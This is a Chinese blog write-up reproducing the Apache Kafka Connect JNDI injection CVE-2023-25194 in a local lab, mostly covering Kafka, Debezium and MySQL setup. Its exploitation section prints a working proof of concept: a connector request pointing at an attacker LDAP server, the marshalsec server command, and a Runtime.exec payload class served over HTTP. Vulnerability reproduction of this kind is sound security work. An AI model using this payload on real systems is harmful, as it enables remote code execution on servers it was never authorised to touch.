当前位置: 首页 > 技术干货 > Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析

Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析

发表于:2023-03-23 14:38 作者: Ggoodstudy 阅读数(8423人)

关于

Apache Kafka是一个开源的分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。

影响版本

2.4.0<=Apache kafka<=3.2.2

环境搭建

满足影响版本的应该都可以,这里我是使用的版本为2.5.0

wget https://archive.apache.org/dist/kafka/2.5.0/kafka_2.13-2.5.0.tgz

直接解压

这里可以使用命令直接起起来,最新版的kafka是集成Zookeeper

.\bin\windows\zookeeper-server-start.bat .\config\zookeeper.properties

但是报错了,可以自己安装zookeeper

下载地址

http://zookeeper.apache.org/releases.html

这里配置文件其实可以补钙,实际上日志记录功能可选择不要,直接启动

image-20230314173916423

服务端正常启动。

image-20230314144830477

只要不报错即为正常启动

继续修改kafka配置文件server.properties文件,修改日志存放路径

image-20230314143848080

命令启动

.\bin\windows\kafka-server-start.bat .\config\server.properties

image-20230314144757730

测试kafa搭建是否存在问题

  • 创建主题

.\bin\windows\kafka-topics.bat --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 1 --topic test111

image-20230314145237700

  • 查询主题

.\bin\windows\kafka-topics.bat --list --bootstrap-server localhost:9092

image-20230314145305409

  • 创建生产者

.\bin\windows\kafka-console-producer.bat --broker-list localhost:9092 --topic test111

image-20230314145814595

  • 创建消费者

.\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic test111 --from-beginning

image-20230314145842932

消息收发没有问题,生产者输入信息之后消费者会自动消费。

启动connect

.\bin\windows\connect-standalone.bat .\config\connect-standalone.properties .\config\connect-file-source.properties .\config\connect-file-sink.properties

image-20230314151016538

因为牵涉到补图片,图片内的时间顺序可能不对,请忽略

访问

http://192.168.2.135:8083/connector-plugins

image-20230314135217780

这里是没有插件的,所以需要安装插件。这里要复现CVE-2023-25194,需要使用io.debezium.connector.mysql.MySqlConnector类,所以需要配置Debezium MySQL 连接器配置属性

安装Debezium

https://debezium.io/releases/2.1/

这里根据自己环境安装,比较友好的时不同的版本有介绍需要的java版本,因为我的java环境为1.8+的,所以这里我选择的版本比较老

image-20230314154723215

在kafka的安装目录创建一个文件夹

image-20230314151856351

存放debezium,修改kafka的配置文件

image-20230314152021688

插件注意指向debezium的存放路径,重新启动,获取到插件,这里需要必坑的位置

1.java版本需要匹配kafka版本以及其他组件版本

2.配置文件需要修改,否则会报错。

image-20230314154905544

kafka在连接Mysql时 数据需要同步到 Elasticsearch

具体的文章可以参考

https://my.oschina.net/u/4923278/blog/5007756

安装mysql

MySQL :: Download MySQL Installer

image-20230314174109336

需要避坑的位置

image-20230314174125857

结束

image-20230314174137576

登录mysql数据库,设置允许外部连接

GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
GRANT ALL ON *.* TO ''@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

image-20230314174151011

  • set time_zone='+8:00';

  • show variables like '%time_zone%';

image-20230314174203845

mysql需要开启配置

log_bin           = mysql-bin
binlog_format     = ROW
binlog_row_image  = FULL
expire_logs_days  = 10

可参考

https://blog.csdn.net/wang972779876/article/details/120002546

image-20230314174221539

访问路径

http://192.168.2.135:8083/connector-plugins

发现插件正常启动,参考的有复现的文章,说的时需要做时钟同步,但是在测试的时候发现其实时钟未做设置的时候也没有问题。

image-20230314150030168

漏洞利用

POC如下:

POST /connectors HTTP/1.1
Host: 192.168.2.135:8083
Content-Type: application/json
Content-Length: 809

{
"name": "mysql-connect",
"config": {
"connector.class": "io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "192.168.2.135",
"database.port": "3306",
"database.user": "root",
"database.password": "root",
"database.server.id": "316545017",
"database.server.name": "test1",
"database.history.kafka.bootstrap.servers": "192.168.2.135:9092",
"database.history.kafka.topic": "quickstart-events",   "database.history.producer.security.protocol": "SASL_SSL",
  "database.history.producer.sasl.mechanism": "PLAIN",
  "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.2.149:1389/rce\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
}
}

具体的参数的配置属性可以参考这篇文章

https://blog.csdn.net/weixin_43564627/article/details/118959829

在利用的时候需要注意在使用name时,为连接器的名称,重复注册则会返回报错。

image-20230314165531117

使用marshalsec-0.0.3-SNAPSHOT-all.jar起ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.135:8888/#Calc 1389

image-20230314165109633

发送POC

image-20230314165149937

可以看到请求了恶意类

恶意类内容calc.java

import java.lang.Runtime;

public class Calc {
   public Calc() throws Exception{
       Runtime.getRuntime().exec("C:\Windwos\System32\cmd.exe ipconfg>C:\Users\Administrator\Desktop\2.txt");
  }
}

编译java

javac calc.java

在8888端口起http服务

python -m http.server 8888

image-20230314165411986

执行payload

image-20230314163620306

漏洞原理

Apache Kafka Connect 是 Kafka 中用于和其他数据系统传输数据的服务,其独立运行版本可以在 Kafka 发布包中通过 bin/connect-standalone.sh 启动,默认会在 8083 端口开启 HTTP REST API 服务,可对连接器(Connector)的配置进行操作。

将连接器中的 Kafka 客户端 sasl.jaas.config 属性值设置为 com.sun.security.auth.module.JndiLoginModule(通过 producer.override.sasl.jaas.config, consumer.override.sasl.jaas.configadmin.override.sasl.jaas.config 属性进行配置)时,如果连接器连接到攻击者可控的 LDAP 服务器时容易受到反序列化攻击。